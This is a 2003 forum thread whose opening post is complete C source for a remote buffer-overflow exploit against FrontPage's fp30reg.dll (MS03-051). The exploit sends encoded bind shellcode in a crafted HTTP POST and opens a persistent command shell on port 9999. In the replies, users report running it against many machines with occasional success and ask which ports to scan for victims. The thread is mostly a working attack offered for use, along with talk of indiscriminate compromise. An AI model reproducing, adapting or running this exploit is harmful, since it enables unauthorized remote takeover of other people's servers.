Anarchy
Nov 16 2003, 02:14 AM
| CODE |
/*******************************************************************************
Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore
Exploit by Adik < netmaniac [at] hotmail.kg >
Binds persistent command shell on port 9999
Tested on
Windows 2000 Professional SP3 English version
(fp30reg.dll ver 4.0.2.5526)
Republish: www.SecurityLab.ru
Greetingz/Salamchiki: fellaz in Bishkek - r0ach,acha,horsemoon :)
-[ 13/Nov/2003 ]-
********************************************************************************
/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define RECVTIMEOUT 15
#define VER "0.2"
/******** bind shellcode spawns persistent shell on port 9999 *****************************/
unsigned char kyrgyz_bind_code[] = {
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE,
0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89,
0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78,
0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77,
0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03,
0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05,
0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98,
0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC,
0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77,
0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03,
0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8,
0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C,
0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0,
0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03,
0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B,
0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03,
0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48,
0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};
void cmdshell (int sock);
long gimmeip(char *hostname);
int main(int argc,char *argv[])
{
WSADATA wsaData;
struct sockaddr_in targetTCP;
fd_set fds;
//struct hostent *host;
struct timeval tv;
int sockTCP,s,switchon;
unsigned short port = 80;
long ip;
unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
unsigned char packet[3000],data[1500];
unsigned char ecx[] = "\xe0\xf3\xd4\x67";
unsigned char edi[] = "\xff\xd0\x90\x90";
unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
unsigned char shortjmp[] = "\xeb\x10";
printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
" by Adik < netmaniac [at] hotmail.KG >\n http://netninja.to.kg\n\n", VER);
if(argc < 2)
{
printf(" Usage: %s [Target] <port>\n"
" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
return 1;
}
if(argc==3)
port = atoi(argv[2]);
WSAStartup(0x0202, &wsaData);
printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));
memset(packet,0,sizeof(packet));
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);
memset(data, 0x90, sizeof(data)-1);
data[sizeof(data)-1] = '\x0';
memcpy(&data[16],edi,sizeof(edi)-1);
memcpy(&data[20],ecx,sizeof(ecx)-1);
memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
memcpy(&data[250+14],call,sizeof(call)-1);
memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("[*] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Checking for presence of fp30reg.dll...");
if (send(sockTCP, packet, strlen(packet),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
memset(packet,0,sizeof(packet));
switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);
if((select(sockTCP+1,&fds,0,0,&tv))>0)
{
recv(sockTCP, packet, sizeof(packet),0);
if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
printf(" Found!\n");
else
{
printf(" Not Found!! Exiting...\n");
WSACleanup();
return 1;
}
}
else
{
printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
WSACleanup();
return 1;
}
switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);
printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Sleeping ");
for(s=0;s<13000;s+=1000)
{
printf(". ");
Sleep(1000);
}
printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(9999);
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
WSACleanup();
exit(1);
}
printf("\n[*] Dropping to shell...\n\n");
cmdshell(sockTCP);
return 0;
}
/ ********************************************************************************
*/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];
tv.tv_sec = 1;
tv.tv_usec = 0;
while (1)
{
o[0] = 1;
o[1] = sock;
length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{
length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
length = write (1, buffer, length);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
}
else
{
length = read (0, buffer, sizeof (buffer));
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
length = send(sock, buffer, length, 0);
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
}
}
}
/ ********************************************************************************
*/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/ ********************************************************************************
*/
|
ssj4conejo
Nov 16 2003, 04:34 AM
does this run on any specific port or is this part of some web sites?
flame
Nov 16 2003, 04:53 PM
| QUOTE | E:\new>fp30reg.exe
Access is denied.
|
how lame can u be  try this one: 100% works
WeeDMoNKeY
Nov 16 2003, 09:00 PM
welp, dropping to shell (freezes) then i tried netcat (freezes) niether actually connect. it worked on 1 out of like 50 machiens which isnt to bad (could be worse) dunno how good this works, oh welp.
isaiah
Nov 16 2003, 09:49 PM
what port do we scan with
flame
Nov 17 2003, 01:43 AM
its not just a port you need to scan for (usually port 80) you need to scan for cgi try reading the posts in the exploit section - this had all been discussed over there. 
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